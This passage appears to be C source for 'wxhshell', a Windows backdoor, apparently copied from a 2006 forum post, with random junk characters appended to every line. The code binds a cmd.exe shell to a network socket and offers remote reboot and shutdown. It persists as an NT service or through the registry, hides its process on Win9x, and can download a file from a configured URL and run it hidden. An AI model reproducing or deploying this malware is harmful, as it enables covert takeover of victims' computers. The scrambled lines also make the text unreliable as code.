      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ")i>-1_H  
    break; "4[8pZO/  
  } (n {,R  
  // 安装 hY[Vs5v  
  case 'i': { :W*']8 M-  
    if(Install()) kD{qW=Lpn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _=ziw|zI  
    else w\(; >e@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xn3 \a81  
    break; x !^u$5c  
    } KXvBJA$  
  // 卸载 ReZ&SNJ  
  case 'r': { ZgH(,g,TU  
    if(Uninstall()) RM `zxFn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WB(Gx_o3  
    else \9 5O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qs1e0LwA9  
    break; OHyBNJ  
    } ^!yJ;'H\  
  // 显示 wxhshell 所在路径 } Rs@  
  case 'p': { bUS"1Tg]*6  
    char svExeFile[MAX_PATH]; D N#OLk  
    strcpy(svExeFile,"\n\r"); V+- ]txu|  
      strcat(svExeFile,ExeFile); ON q=bI*  
        send(wsh,svExeFile,strlen(svExeFile),0); *Iir/6myM  
    break; ._A@,]LS}  
    } ^Z`?mNq9  
  // 重启 VY]L<4BfGL  
  case 'b': { [)L)R`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l.@&B@5F  
    if(Boot(REBOOT)) -er8(snDQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w</qUOx  
    else { ,p7W4;?4  
    closesocket(wsh); 4y|%Oj  
    ExitThread(0); hQPNxpe  
    } <WCTJ!Z  
    break; +204.Yj?D  
    } MF]EX  
  // 关机 ^mZeAW  
  case 'd': { H(,D5y`k1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V3t;V-Lkt  
    if(Boot(SHUTDOWN)) u>-pg u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\]splL  
    else { pxgVYr.  
    closesocket(wsh); O;m@fS2%3  
    ExitThread(0); "GY/2;  
    } j8 |N;;MN  
    break; QxS=W2iN  
    } Qqn9nO9  
  // 获取shell q{E44 eQ7F  
  case 's': { &|&tPD/dJ  
    CmdShell(wsh); w/UZ6fu  
    closesocket(wsh); J_ y+.p- 5  
    ExitThread(0); nBo?r}t4  
    break; # @~HpqqR  
  } ~4'AnoD1w  
  // 退出 0oiz V;B5%  
  case 'x': { 1p }:K`#{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0kOl,%Ey  
    CloseIt(wsh); =>en<#[\:  
    break; N,F$^ q6  
    } d@aPhzLu  
  // 离开 .|Y&,?k| Y  
  case 'q': { @?E|]H!S]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lS!uL9t.  
    closesocket(wsh); %{*)-_M  
    WSACleanup(); .lE7v -e  
    exit(1); UD}#c:I  
    break; z [9f  
        } '#Pg:v_  
  } /.>8e%)  
  } (W'.vEl  
RjW< H6a"K  
  // 提示信息 I/V lH:o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EnD }|9  
} lU&[){  
  } KYN{Dh]-}  
r< ~pSj  
  return; '7;b+Vbl#  
} ZA{T0:  
Q-7C'|  
// shell模块句柄 B;=-h(E}vJ  
int CmdShell(SOCKET sock) zC<k4[.  
{ -Mx\W|YK  
STARTUPINFO si; wu53e= /  
ZeroMemory(&si,sizeof(si)); YOE!+MiO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GX-V|hLaGX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oTLA&dy@  
PROCESS_INFORMATION ProcessInfo; o{r<=X ysM  
char cmdline[]="cmd"; RW I7eC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #ssSs]zl  
  return 0; jS<(O o  
} SNl% ?j| f  
E=eK(t(8  
// 自身启动模式 noL&>G  
int StartFromService(void) .XTR HL*:  
{ ]~!?(d!J/  
typedef struct Al-;-t#Dc  
{ YRRsbm{  
  DWORD ExitStatus; '2X6 >6`w  
  DWORD PebBaseAddress; :Y)jf  
  DWORD AffinityMask; %3;vDB*L$  
  DWORD BasePriority; $vjl-1x&  
  ULONG UniqueProcessId; MIF`|3$,  
  ULONG InheritedFromUniqueProcessId; vA"MTncv  
}   PROCESS_BASIC_INFORMATION; D6L5X/#  
K}e:zR;;^  
PROCNTQSIP NtQueryInformationProcess; 97 eEqI$#  
x4=Sm0Ro|V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6#gS`X23Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d.Im{-S  
aTLu7C\-e  
  HANDLE             hProcess; ZlG|U]mM5  
  PROCESS_BASIC_INFORMATION pbi; 2uZ4$_  
R q |,@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fWk,k*Z 9  
  if(NULL == hInst ) return 0; ta+MH,  
L5j%4BlK/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p()#+Xy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lC8Z@wkjO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'JK"3m}nT  
]9]o*{_+(f  
  if (!NtQueryInformationProcess) return 0;  oo4aw1d  
:/<SJ({q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3[F9qDAy  
  if(!hProcess) return 0; [@;q#.}Z  
,*MA teD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (<KFA,  
xP+`scv*m#  
  CloseHandle(hProcess); *l{GD1ZDk  
}p|S3/G?$!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #X t|"Z  
if(hProcess==NULL) return 0; kH'zTO1  
v1O1-aM  
HMODULE hMod; :}*   
char procName[255]; sFbN)Cx  
unsigned long cbNeeded; o|G[/o2  
XDQ5qfE|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c$P68$FB  
A}3dx!?7j  
  CloseHandle(hProcess); kVe4#LT  
YM r2|VEU[  
if(strstr(procName,"services")) return 1; // 以服务启动  ,7h0y  
"zZ Z h  
  return 0; // 注册表启动 `~k`m{4.a  
} 6Q*Zy[=  
*YO^+]nmY  
// 主模块 N5d)&a 7?  
int StartWxhshell(LPSTR lpCmdLine) gzd<D}2F~  
{ Kg6[  
  SOCKET wsl; e%_J O7  
BOOL val=TRUE; f1w_Cl  
  int port=0; f>hA+  
  struct sockaddr_in door; *hvC0U@3  
d+o.J",E  
  if(wscfg.ws_autoins) Install(); C2}f'  
4H4ui&|7u6  
port=atoi(lpCmdLine); 7z;X@+O}s  
E! GH$%:;  
if(port<=0) port=wscfg.ws_port; J~.`  
v8l3{qq  
  WSADATA data; =JNCQu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LE}V{%)xD  
ko{7^]gR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U[EZ, 7n8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^V7'S<  
  door.sin_family = AF_INET; c:I %jm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Eh6ti  
  door.sin_port = htons(port); NH'Dz6K5  
zvbO q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bY UG4+rD  
closesocket(wsl); \k 6'[ln  
return 1; H):(8/> (  
} %WF]mF T_  
z5p5=KOb  
  if(listen(wsl,2) == INVALID_SOCKET) { _J"fgxW  
closesocket(wsl); aY-7K._</  
return 1; 6o d^+>U  
} PC!g?6J  
  Wxhshell(wsl); y|/[;  
  WSACleanup(); 1I?`3N  
2h:{6Gq8  
return 0; D/YMovH%  
?[<#>,W  
} yu>)[|-  
oJ?,X^~_  
// 以NT服务方式启动 < Dt/JA(p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U'aJCM  
{ = glF6a  
DWORD   status = 0; V}X>~ '%  
  DWORD   specificError = 0xfffffff; *3\*GatJ  
FrC)2wX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P W_"JZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `gAW5 i-z5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z`<5SHQd  
  serviceStatus.dwWin32ExitCode     = 0; bH.SUd)  
  serviceStatus.dwServiceSpecificExitCode = 0; H/U.Bg 4  
  serviceStatus.dwCheckPoint       = 0; v\o m  
  serviceStatus.dwWaitHint       = 0; zfw=U \  
:cvT/xhO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G=/^]E  
  if (hServiceStatusHandle==0) return; #y-R*4G  
goe %'k,  
status = GetLastError(); .*edaDi  
  if (status!=NO_ERROR) FsLd&$?T&  
{ GL%)s?   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h S)lQl:^  
    serviceStatus.dwCheckPoint       = 0; 2]]}Xvx4#  
    serviceStatus.dwWaitHint       = 0; h~lps?.#b  
    serviceStatus.dwWin32ExitCode     = status; -AN5LE9-  
    serviceStatus.dwServiceSpecificExitCode = specificError; GkpYf~\Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n^|SN9 _r  
    return; l >~Rzw  
  } ^8KxU  
 SQ&}18Z~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iU RSYR  
  serviceStatus.dwCheckPoint       = 0; m Uy>w  
  serviceStatus.dwWaitHint       = 0; d uP0US  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NvC @  
} $zM \Jd  
(&SPMhs_|(  
// 处理NT服务事件,比如:启动、停止 #(QS5J&Qq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +Sc2'z>R  
{ NL,6<ZOon,  
switch(fdwControl) ^5Zka!'X2Z  
{ . '>d7  
case SERVICE_CONTROL_STOP: ~ mzX1[  
  serviceStatus.dwWin32ExitCode = 0; )t((x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l9e=dV:pH  
  serviceStatus.dwCheckPoint   = 0; 9k \M<jA  
  serviceStatus.dwWaitHint     = 0; *cZ7?  
  { !mmSF1f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tm$8\c4V:*  
  } w  _4O;  
  return; [dFe-2u ,$  
case SERVICE_CONTROL_PAUSE: \l%##7DRp]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x2TE[#><  
  break; |8tKN"QG  
case SERVICE_CONTROL_CONTINUE: =YIosmr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YYL3a=;`a  
  break; #&ei  
case SERVICE_CONTROL_INTERROGATE: +IMt$}7[  
  break; , `PYU[  
}; $4*gi&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EeH ghq  
} @Ko#nDEq  
-/ G#ls|?  
// 标准应用程序主函数 `n@;%*6/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5g.w"0MkY  
{ qHgzgS7a  
m#ig.z|A  
// 获取操作系统版本 `6RccEm  
OsIsNt=GetOsVer(); \r9E6LL X'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #l h' !  
M N (o  
  // 从命令行安装 VCVKh  
  if(strpbrk(lpCmdLine,"iI")) Install(); LcT;7yv  
F|cli <  
  // 下载执行文件 1/,~0N9  
if(wscfg.ws_downexe) { L)8%*X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U_hzSf  
  WinExec(wscfg.ws_filenam,SW_HIDE); J\>/ J%  
} F("|SOhc  
AQ0zsy  
if(!OsIsNt) { =J"c'Z>.  
// 如果时win9x,隐藏进程并且设置为注册表启动 aK_k'4YTm  
HideProc(); n1aOpz6`  
StartWxhshell(lpCmdLine); dd6%3L{cn  
} | #b/EA9  
else qQIX:HWDKZ  
  if(StartFromService()) 8)M WC:  
  // 以服务方式启动 !@*= b1  
  StartServiceCtrlDispatcher(DispatchTable); sy-#Eo#3  
else )c?nh3D  
  // 普通方式启动 4;@L#Pzt  
  StartWxhshell(lpCmdLine); Z +O< IF%  
<EdNF&S-  
return 0; +z0s)HU>j  
}
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只看该作者 1 发表于: 2006-10-10
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